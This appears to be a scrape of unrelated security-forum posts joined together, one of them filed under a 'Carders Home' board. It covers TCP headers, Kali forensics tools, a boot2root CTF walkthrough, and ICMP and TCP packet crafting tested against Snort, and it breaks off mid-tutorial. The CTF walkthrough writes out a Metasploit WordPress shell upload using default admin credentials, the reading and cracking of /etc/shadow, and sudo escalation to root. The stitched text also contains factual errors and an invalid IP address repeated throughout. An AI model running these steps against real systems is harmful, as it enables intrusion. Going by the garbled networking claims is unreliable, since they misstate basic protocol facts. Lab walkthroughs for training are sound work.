TCP Header (Transport Layer)
Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) and Internet Control Message Protocol (ICMP) are the major protocols as it gives host-to-host connectivity at the Transport Layer of the OSI model. It is also known as Heart of OSI model as it plays a major role in transmitting errors free data.
By examining Network Layer information through Wireshark we found that here TCP is used for establishing a connection with destination network.
We knew that a computer communicates with another device like a modem, printer, or network server; it needs to handshake with it to establish a connection.
TCP follows Three-Way-Handshakes as describe below:

A client sends a TCP packet to the server with the SYN flag
A server responds to the client request with the SYN and ACK flags set.
Client completes the connection by sending a packet with the ACK flag set

Structure of TCP segment
Transmission Control Protocol accepts data from a data stream, splits it into chunks, and adds a TCP header creating a TCP segment. A TCP segment only carries the sequence number of the first byte in the segment.
A TCP segment consists of a segment header and a data section. The TCP header contains mandatory fields and an optional extension field.
Source Port
The 16-bit source port number, Identifies the sending port.
Destination Port
The 16-bit destination port number. Identifies the receiving port
Sequence Number
The sequence number of the first data byte in this segment. If the SYN control bit is set, the sequence number is the initial sequence number (n) and the first data byte is n+1.
Acknowledgment Number
If the ACK control bit is set, this field contains the value of the next sequence number that the receiver is expecting to receive.
Data Offset
The number of 32-bit words in the TCP header. It indicates where the data begins.
Reserved
Six bits reserved for future use; must be zero.
Flags
CWR, ECE, URG, ACK, PSH, RST, SYN, FIN
Window
Used in ACK segments. It specifies the number of data bytes, beginning with the one indicated in the acknowledgment number field that the receiver (the sender of this segment) is willing to accept.
Checksum
The 16-bit one’s complement of the one’s complement sum of all 16-bit words in a pseudo-header, the TCP header, and the TCP data. While computing the checksum, the checksum field itself is considered zero.
Urgent Pointer
Points to the first data octet following the urgent data.

Only significant when the URG control bit is set.
Options
Just as in the case of IP datagram options, options can be

either:
– A single byte containing the option number
– A variable length option in the following format
Padding
The TCP header padding is used to ensure that the TCP header ends and data begins on a 32-bit boundary. The padding is composed of zeros.

Different Types of TCP flags
TCP flags are used within TCP header as these are control bits that specify particular connection states or information about how a packet should be set. TCP flag field in a TCP segment will help us to understand the function and purpose of any packet in the connection.
[Image: Screenshot_1.png?w=687&ssl=1]

From given below image you can observe Hexadecimal information of TCP header field and using the given table you can study these value to obtain their original value.
Sequence and acknowledgment numbers are is a major part of TCP, and they act as a way to guarantee that all data is transmitted consistently since all data transferred through a TCP connection must be acknowledged by the receiver in a suitable way. When an acknowledgment is not received, then the sender will again send all data that is unacknowledged.
[Image: 6.png?w=687&ssl=1]

Using given below table you can read Hex value of other Port Number and their Protocol services. Although these services operate after getting acknowledgment from the destination network and explore at application layer OSI model.
In this way, you can examine every layer of Wireshark for Network Packet Forensic.
[Image: 3.png?w=687&ssl=1]

[Guide] Forensics Tools in Kali

Posted by: NINZA - 05-14-2020, 06:44 AM - Forum: Carders Home - No Replies

Kali Linux is often thought of in many instances, it’s one of the most popular tools available to security professionals. It contains a robust package of programs that can be used for conducting a host of security-based operations. One of the many parts in its division of tools is the forensics tab, this tab holds a collection of tools that are made with the explicit purpose of performing digital forensics.
Forensics is becoming increasingly important in today’s digital age where many crimes are committed using digital technology, having an understanding of forensics can greatly increase the chance of making certain that criminals don’t get away with a crime.
This article is aimed at giving you an overview of the forensic capabilities possessed by Kali Linux.
So, let’s start with the programs as they appear in the forensics menu:
Autopsy
A tool used by the military, law enforcement and other entities when it comes time to perform forensic operations. This package is probably one of the most robust ones available through open source, it combines the functionalities of many other smaller packages that are more focused in their approach into one neat application with a web browser based UI.
[Image: aut%2B2.PNG?w=687&ssl=1]
It is used to investigate disk images. When you click on Autopsy, it starts the service and its user interphase can be accessed on the web browser at

[To see content please register here]

. It gives the user a full range of options required to create a new case file: Case Name, Description, Investigators Name, Hostname, Host time zone, etc.
Its functionalities include – Timeline analysis, keyword search, web artifacts, hash filtering, data carving, multimedia and indicators of compromise. It accepts disk images in RAW or E01 formats and generates reports in HTML, XLS and body file depending on what is required for a particular case.
Its robustness is what makes it such a great tool, be it case management, analysis or reporting, this tool has you covered.
[Image: aut%2B1.PNG?w=687&ssl=1]

Binwalk
This tool is used while dealing with binary images, it has the capability of finding the embedded file and executable code by exploring the image file. It is a very powerful tool for those who know what they are doing, if used right, it can be used to find sensitive information hidden in firmware images that can be lead to uncovering a hack or used to find a loophole to exploit.
This tool is written in python and uses the libmagic library, making it perfect for usage with magic signatures created for Unix file utility. To make things easier for investigators, it contains a magic signature file which holds the most commonly found signatures in firmware’s, making it easier to spot anomalies.
[Image: binwalk.png?w=687&ssl=1]

Bulk Extractor
This is a very interesting tool when an investigator is looking to extract certain kind of data from the digital evidence file, this tool can carve out email addresses, URL’s, payment card numbers, etc. This is tool works on directories, files, and disk images. The data can be partially corrupted or it can be compressed, this tool will find its way into it.
The tool comes with features which help create a pattern in the data that is found repeatedly, such as URL’s, email ids and more and presents them in a histogram format. It has a feature by which it creates a word list from the data found, this can assist in cracking the passwords of encrypted files.
[Image: blk%2Bex.png?w=687&ssl=1]

Chkrootkit
This program is mostly used in a live boot setting. It is used to locally check the host for any installed rootkits. It comes in handy trying to harden an endpoint or making sure that a hacker has not compromised a system.
It has the capability to detect system binaries for rootkit modification, last log deletions, quick and dirty string replacements, and temp deletions. This is just a taste of what it can do, the package seems simple at first glance but to a forensic investigator, its capabilities are invaluable.
[Image: chroot.png?w=687&ssl=1]

Foremost
Deleted files which might help solve a digital incident? No problem, Foremost is an easy to use open source package that can carve data out of formatted disks. The filename itself might not be recovered but the data it holds can be carved out.
Foremost was written by US Air Force special agents. It can carve files by referencing a list of headers and footers even if the directory information is lost, this makes for fast and reliable recovery.
[Image: foremost.png?w=687&ssl=1]

Galleta
When following a trail of cookies, this tool will parse them into a format that can be exported into a spreadsheet program.
Understanding cookies can be a tough nut to crack, especially if the cookies might be evidence in a cyber-crime that was committed, this program can lend a hand by giving investigators the capability to structure the data in a better form and letting them run it through an analysis software, most of which usually require the data to be in some form of a spreadsheet.
[Image: galleta.png?w=687&ssl=1]

Hashdeep
This program is a must when dealing with hashes. Its defaults are focused on MD5 and SHA-256. It can be existing files that have moved in a set or new files placed in a set, missing files or matched files, Hashdeep can work with all these conditions and give reports that can be scrutinized, it is very helpful for performing audits.
One of its biggest strengths is performing recursive hash computations with multiple algorithms, which is integral when the time is of the essence.
[Image: hashdeep.png?w=687&ssl=1]

Volafox
This is a memory analysis tool that has been written in Python, it is focused towards memory forensics for MAC OS X. It works on the Intel x86 and IA-32e framework. If you’re trying to find malware or any other malicious program that was or is residing on the system memory, this is the way to go.
[Image: volafox.png?w=687&ssl=1]

Volatility
Probably one of the most popular frameworks when it comes to memory forensics. This is a python based tool that lets investigators extract digital data from volatile memory (RAM) samples. It is compatible to be used with the majority of the 64 and 32-bit variants of windows, selective flavors of Linux distros including android. It accepts memory dumps in various forms, be it raw format, crash dumps, hibernation files or VM snapshots, it can give a keen insight into the run-time state of the machine, this can be done independently of the host’s investigation.
Here’s something to consider, decrypted files and passwords are stored in the RAM, and if they are available, investigating files that might be encrypted in the hard disk can be a lot easier to get into and the overall time of the investigation can be considerably reduced.
[Image: volatility.png?w=687&ssl=1]

We will be following up this particular article with an in-depth review of the tools we have mentioned, with test cases.
Have fun and stay ethical.

Today we are going to take another CTF challenge known as Basic Penetration. The credit for making this VM machine goes to “Josiah Pierce” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM

[To see content please register here]

.
Security Level: Beginner
Penetrating Methodology:

Scanning

Netdiscover
NMAP

Enumeration

Web Directory search
Credential harvesting

Exploiting

Metasploit shell upload
sh

Privilege Escalation

Exploit Sudo rights

Walkthrough:
Scanning:
Let’s start off by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.1.100 by using Netdiscover.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Then we used Nmap for port enumeration. We find that port 21(ftp), 22(ssh) and 80 are open on the target.
nmap -A 192.168.1.100
1
nmap -A 192.168.1.100
[Image: 2.png?w=687&ssl=1]

Enumeration:
As we can see port 80 is open, so we tried to open the IP address in our browser but we didn’t find anything on the webpage.
[Image: 3.png?w=687&ssl=1]

So we used dirb for directory enumeration.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

After bruteforcing with dirb we found a directory named /secret
[Image: 4.png?w=687&ssl=1]

Now we tried to open it in our browser. We came to know that the website is a WordPress site.
[Image: 5.png?w=687&ssl=1]

We tried to open the admin page 192.168.1.100/secret/wp-admin but it wouldn’t open and we got redirected to the URL which you can see in the screenshot
[Image: 6.png?w=687&ssl=1]

Then we added vtcsec to the hosts file.
[Image: 7.png?w=687&ssl=1]

Now we were able to access the admin page.
[Image: 8.1.png?w=687&ssl=1]

Exploiting:
We tried some basic credential combinations used in WordPress and found admin: admin was working for us.
Then we used Metasploit to upload admin shell into the target using the above credentials and wait for a meterpreter session.
use exploit/unix/webapp/wp_admin_shell_upload
set username admin
set password admin
set targeturi /secret/
set rhosts 192.168.1.100
run
1
2
3
4
5
6
use exploit/unix/webapp/wp_admin_shell_upload
set username admin
set password admin
set targeturi /secret/
set rhosts 192.168.1.100
run
We successfully got a meterpreter session.
[Image: 8.png?w=687&ssl=1]

We then uploaded LineEnum.sh script to check if password hashes are stored in /etc/passwd and also attempt to read restricted file i.e. /etc/shadow.
[Image: 9.png?w=687&ssl=1]

Here we can see the /etc/shadow has read-only permission.
[Image: 10.png?w=687&ssl=1]

After opening the /etc/shadow file we can see there is a user with the name marlinspike
[Image: 13.png?w=687&ssl=1]

We downloaded this shadow file into our local system and used John the Ripper to crack the password.
We found the password for the user marlinspike is marlinspike
[Image: 14.png?w=687&ssl=1]

Privilege Escalation
Now we log in as marlinspike.
We checked the sudoers list and found that we have all the access as root, so we did sudo as superuser.
Great! We have successfully completed our challenge as we able access the target as a root user.
su marlinspike
sudo –l
sudo su
id
1
2
3
4
su marlinspike
sudo –l
sudo su
id
[Image: 15.png?w=687&ssl=1]

In our previous article, we had discussed “

[To see content please register here]

” where we had seen how an ICMP protocol work at layer 3 according to the OSI model and study its result using Wireshark. Today we are going discuss to ICMP penetration testing by crafting ICMP packet to test our IDS “Snort” against all ICMP message Types using Cat Karat tool, you can download it from

[To see content please register here]

link.
For configuring Snort as IDS read our previous article “

[To see content please register here]

” it will automatically install snort in your system with a predefined set of rules that will help in packet capturing of your network.
Let’s start!!
Basically, we will perform this practical in three phases as described below:
Packet crafting: In this phase, we will craft each ICMP packet with a different type of ICMP message using Cat Karat. For more detail about Packet crafting process read our previous

[To see content please register here]

.
Packet Capturing: In this phase, we will capture the ICMP packet and receive an alert when it will enter into the target’s network using snort as IDS.
Packet Analysis: In this phase, we will investigate the captured packet using Wireshark.
Brief Introduction on ICMP Protocol
ICMP message contains two types of codes i.e. query and error.
Query: The query messages are the information we get from a router or another destination host.
For example, given below message types are some ICMP query codes:

Type 0 = Echo Reply
Type 8 = Echo Request
Type 9 = Router Advertisement
Type 10 = Router Solicitation
Type 13 = Timestamp Request
Type 14 = Timestamp Reply

Error: The error statement messages reports problem which a router or a destination host may generate.
For example: given below message types are some of the ICMP error codes:

Type 3 = Destination Unreachable
Type 4 = Source Quench
Type 5 = Redirect
Type 11 = Time Exceeded
Type 12 = Parameter Problems

Now when you will run the installed application “Cat KARAT” you will observe three important sections “Interfaces”, “Packet flow” and Packet view which in their default state as shown in given below image.
[Image: 1.png?w=687&ssl=1]

Message TYPE 0 ICMP Packet Crafting
So as we know in Packet Crafting Operation “Packet Assembly” is the 1st phase where we need to decide protocol for crafting any packet, which is quite easy to select with this tool. Only enable the radio button for selecting protocol and direction flow of packet. Here I had enabled radio buttons for “IPv4” and “ICMP” without disturbing remaining default packet flow as shown given below image.
Next, we need to select the “interface” which you can select from the Interfaces by double-Click on it.
[Image: 2.png?w=687&ssl=1]

Now next is “packet Editing” phase where you need to specify the source IP address such as 192.168.1.2 from which packet will be sent and Destination IP address such as 192.168.1.107 on which packet is received. Moreover, you can also make some changes in your packet such as Time to live (TTL), Data length and also can go with packet fragmentation.
From given below image you can observe I had added source and destination IP in the packet under the third section protocol view -> Ipv4
[Image: 4.png?w=687&ssl=1]

Under the 3rd section protocol view in catKarat explore ICMP tab and select “0-Echo Response” option which generates type 0 ICMP message. Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network which known as “packet playing” phase of packet Crafting operation. This ICMP message type also uses to test the strength of IDS and Firewall against ICMP smurf Dos Attack.
[Image: 5.png?w=687&ssl=1]

Capturing ICMP-Type0 packet through IDS
The advantage of install snort through apt respiratory is that it is quick and easy to install in your system as well as it contains a predefined set of rule files related to every type of network traffic either TCP/UDP or ICMP.
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP echo Reply packet is found in the network. This rule also works against Smurf Dos attack in which ICMP echo reply/response traffic is received on the target’s network without sending genuine ICMP request packet from the target’s network to another network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 6.jpg?w=687&ssl=1]

So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Echo Reply” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 7.jpg?w=687&ssl=1]

Analysis ICMP-Type0 packet through Wireshark
Now the Last phase is Packet Analysis which is also the last mode of operation of packet crafting process where the received packet is analysis using packet analysis tool. Here we had to use Wireshark for capturing incoming traffic. From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type packet, and other information.
[Image: 8.png?w=687&ssl=1]

When the tester will click on Stop button given in the menu bar of Cat Karat tool he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 0 is successfully sent on the target machine.
[Image: 9.png?w=687&ssl=1]

Message TYPE 1 ICMP Packet Crafting
So the Packet Assembly phase and Packet Editing phase for ICMP packet crafting are almost the same as above only the difference is made in change ICMP message through which connection will be established with the target network.
Since we want to send traffic through message type 1 packets for establishing a connection with target network therefore select Type -1 Reserved from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network which known as “packet playing” phase of packet Crafting operation.
[Image: 10.png?w=687&ssl=1]

Capturing ICMP-Type1 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP unassigned type 1 packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 11.png?w=687&ssl=1]

So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP unassigned type 1” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 12.jpg?w=687&ssl=1]

Analysis ICMP-Type1 packet through Wireshark
From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type “Reserved” packets and other information.
[Image: 13.png?w=687&ssl=1]

When the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 1 is successfully sent on the target machine.
[Image: 14.png?w=687&ssl=1]

Message TYPE 2 ICMP Packet Crafting
Again the Packet Assembly phase and Packet Editing phase for ICMP packet crafting are almost the same as above only the difference is made in change ICMP message through which connection will be established with target network.
Since we want to send traffic through only message type 2 packets for establishing a connection with target network therefore select Type 2 Reserved from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button for sending the packet on target’s network.
[Image: 15.png?w=687&ssl=1]

Capturing ICMP-Type2 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP unassigned type 2 packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 16.png?w=687&ssl=1]

So when again our IDS received any matching packets defined in its file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP unassigned type 2” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 17.jpg?w=687&ssl=1]

Analysis ICMP-Type2 packet through Wireshark
Here also the Wireshark has captured exactly same information as per our prediction and fetch same details which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message “Reserved” packet and other information.
[Image: 18.png?w=687&ssl=1]

Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 2 is successfully sent on the target machine.
[Image: 19.png?w=687&ssl=1]

Message TYPE 3 ICMP Packet Crafting
Now we want to send traffic through message type 3 packets for establishing a connection with the target network, therefore, select Type 3 Destination Unreachable from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
[Image: 20.png?w=687&ssl=1]

Capturing ICMP-Type3 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Destination Unreachable Network Unreachable packet when found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 21.png?w=687&ssl=1]

As said above so when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Destination Unreachable Network Unreachable” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 22.jpg?w=687&ssl=1]

Analysis ICMP-Type3 packet through Wireshark
From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type “Destination Unreachable” (Network Unreachable) packet and other information.
[Image: 23.png?w=687&ssl=1]

Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 3 is successfully sent on the target machine.
[Image: 24.png?w=687&ssl=1]

Message TYPE 4 ICMP Packet Crafting
So the Packet Assembly phase and Packet Editing phase for ICMP packet crafting are almost the same as above only the difference is made in change ICMP message through which connection will be established with the target network.
Since we want to send traffic through message type 4 packets for establishing a connection with target network therefore select Type 4 Source Quench from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network which known as “packet playing” phase of packet Crafting operation.
[Image: 25.png?w=687&ssl=1]

Capturing ICMP-Type4 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Source Quench packet when found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 26.png?w=687&ssl=1]

So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Source Quench” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 27.jpg?w=687&ssl=1]

Analysis ICMP-Type4 packet through Wireshark
Here also the Wireshark has captured exactly same information as per our prediction and fetch same details which we had a bind in the packet during packet Assembly and packet Editing modes such as ICMP protocol, ICMP message type “Source quench” packet and other information.
[Image: 28.png?w=687&ssl=1]

Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 4 is successfully sent on the target machine.
[Image: 29.png?w=687&ssl=1]

Message TYPE 5 ICMP Packet Crafting
We want to send traffic through message type 5 packets for establishing a connection with the target network, therefore, select Type 5 Redirect from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
[Image: 30.png?w=687&ssl=1]

Capturing ICMP-Type5 packet through IDS
As given in below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP redirect net packet when found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 31.png?w=687&ssl=1]

So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Redirect net” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 32.jpg?w=687&ssl=1]

Analysis ICMP-Type5 packet through Wireshark
Again as per our prediction, Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type “redirect” packet and other information.
[Image: 33.png?w=687&ssl=1]

Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 5 is successfully sent on the target machine.
[Image: 34.png?w=687&ssl=1]

Message TYPE 6 ICMP Packet Crafting
So the Packet Assembly phase and Packet Editing phase for ICMP packet crafting are almost the same as above only the difference is made in change ICMP message through which connection will be established with the target network.
Here now next we want to send traffic through message type 6 packets for establishing a connection with target network, therefore, select Type 6 for Alternate Host Address from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
[Image: 35.png?w=687&ssl=1]

Capturing ICMP-Type6 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Alternate Host Address packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 36.png?w=687&ssl=1]

So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Alternate Host Address” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 37.jpg?w=687&ssl=1]

Analysis ICMP-Type6 packet through Wireshark
From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type “Alternate Host Address” packet and other information.
[Image: 38.png?w=687&ssl=1]

Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 6 is successfully sent on the target machine.
[Image: 39.png?w=687&ssl=1]

Message TYPE 7 ICMP Packet Crafting
Again Repeat the same and send traffic through message type 7 packets for establishing a connection with the target network, therefore, select Type 7 for Unassigned from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
[Image: 40.png?w=687&ssl=1]

Capturing ICMP-Type7 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Alternate Host Address packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 41.png?w=687&ssl=1]

Therefore when IDS received any matching packets described in the file of rules then it will generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP unassigned type 7” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 42.jpg?w=687&ssl=1]

Analysis ICMP-Type7 packet through Wireshark
Wireshark has captured exactly the same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP unknown message type “obsolete or malformed” packet and other information.
[Image: 43.png?w=687&ssl=1]

Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 7 is successfully sent on the target machine.
[Image: 44.png?w=687&ssl=1]

Message TYPE 8 ICMP Packet Crafting
Since we want to send traffic through message type 8 packets for establishing a connection with the target network, therefore, select Type 8 for ICMP echo Request from the given list.
This step is very useful because it will craft a packet will send ICMP Request packet on the target’s network to test the strength of IDS and Firewall.
Infinite packet ICMP Request packet is considered as ICMP Flood or Ping of Death Attack when sent the only network, therefore, we can check our IDS and Firewall Strength against such DOS attack through this packet crafting.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
[Image: 45.png?w=687&ssl=1]

Capturing ICMP-Type8 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Ping packet is found in the network. As we know ICMP Echo Request packet is considered as Ping request packet which sends a request to a network IP for establishing a connection with it.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 46.png?w=687&ssl=1]

So when IDS received any matching packets defined in a file of rules then generates an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Ping ” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 47.jpg?w=687&ssl=1]

Analysis ICMP-Type8 packet through Wireshark
From given below image you can observe that Wireshark has captured Ping packet for ICMP Echo request as described above, exactly same information which we had a bind in packets such as ICMP protocol, ICMP Ping request message packet, and other information.
[Image: 48.png?w=687&ssl=1]

Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 8 is successfully sent on the target machine.
[Image: 49.png?w=687&ssl=1]

Message TYPE 9 ICMP Packet Crafting
Now, at last, we want to send traffic through message type 9 packets for establishing a connection with the target network, therefore, select Type 9 for Router Advertisement from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
[Image: 50.png?w=687&ssl=1]

Capturing ICMP-Type9 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Router Advertisement packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 51.png?w=687&ssl=1]

So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Router Advertisement” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
[Image: 52.jpg?w=687&ssl=1]

Analysis ICMP-Type9 packet through Wireshark
From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP P ICMP Router Advertisement message packet and other information.
[Image: 53.png?w=687&ssl=1]

Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 9 is successfully sent on the target machine.
[Image: 54.png?w=687&ssl=1]

Hello friends ! in our

[To see content please register here]

article we had described packet crafting using colasoft packet builder. Again we are going to use a new tool “Cat KARAT” for packet crafting to test our network by crafting various kind of network packet.
Cat Karat Packet Builder is a is a handy, easy to use IP4, IP6, IP4/IP6 tunnels, PPPoE, TCP, UDP, ICMPv4, ICMPv6, VRRP, IGMP, ARP, DHCP , OAM, VLAN (Q in Q), MPLS, Spanning tree BPDU and LLDP packet generation tool that allows to build custom packets for firewall or target testing and has integrated scripting ability for automated testing.
This Packet Builder enables the user to specify the entire contents of the packet from the GUI. In addition to building packets. Packet Builder also supports saving packets to packet files and sending packets to the network. It can be used at all kinds of network areas like traffic generator, packet generator or protocol simulator.
This project also provides a packet capture tool. It is designed for use by anyone who wants to inject packets into a network and/or observe packets exiting a network. Usually, packet operation by following a protocol stack is limited to command line interface. With this tool, all user have to do is click the screen, which almost everybody can do
From:

[To see content please register here]

You can download it from given link above.
Let’s start!!
As we had discussed in our previous article that there is 4 mode of operation in packet crafting.

Packet Assembly
Packet Editing
Packet Playing
Packet Analysis

Let start from the first phase is “Packet Assembly” where you need to decide the type of packet and network you want to create among TCP, IP, ICMP, and UDP.
Now when you will run the installed application “Cat KARAT” you will observe three important sections “Interfaces”, “Packet flow” and Packet view which in their default state as shown in given below image.
[Image: 1.png?w=687&ssl=1]

TCP-SYN Packet Crafting
So as we know in Packet Assembly phase we need to decide protocol for crafting any packet, which is quite easy to select with this tool. Only enable the radio button for selecting protocol and direction flow of packet. Here I had enabled radio buttons for “IPv4” and “TCP” without disturbing remaining default packet flow as shown given below image.
[Image: 2.png?w=687&ssl=1]

Next, we need to select the interface which you can select from the second sections of Interfaces by double-Click on it.
[Image: 3.png?w=687&ssl=1]

Now next is packet Editing phase where you need to specify the source IP address such as 192.168.1.11 from which packet will be sent and Destination IP address such as 192.168.1.12 on which packet is received. Moreover, you can also make some changes in your packet such as Time to live (TTL), Data length and also can go with packet fragmentation.
From given below image you can observe I had added source and destination IP in the packet under the third section protocol view -> Ipv4
[Image: 4.png?w=687&ssl=1]

As we know TCP protocol uses TCP-flag for communication to established connection with Destination IP. Therefore we are crafting TCP-SYN packet under the third section protocol view -> TCP by enabling sync sequence option which flows from source port 80 to destination port 80.
Once everything is edited then your packet is ready to send on the target network.
[Image: 5.png?w=687&ssl=1]

Click on play button given in menu bar for sending the packet on target’s network.
As we know after finishing packet editing operation we need to send it on target network which is known as “Packet Playing” in this mode we actually test packet Assembly and packet Editing mode if show packet is sent successfully else again we send a packet in packet Editing mode for modification.
From given below image you can observe the result “Packet sent successfully”
[Image: 6.1.png?w=687&ssl=1]

The last phase is the Packet Analysis mode where the received packet is analysis using packet analysis tool. Here we had to use Wireshark for capturing incoming traffic. Hence from given below image, you can observe that Wireshark has captured exactly the same information which we had a bind in the packet during packet Assembly and packet Editing modes such as TCP protocol and TCP-SYN packet.
[Image: 7.png?w=687&ssl=1]

TCP-RST Packet Crafting
So the Packet Assembly phase and Packet Editing phase for TCP–RST packet crafting is almost the same as above only the difference is made in change TCP-Flag through which connection will be established with target network.
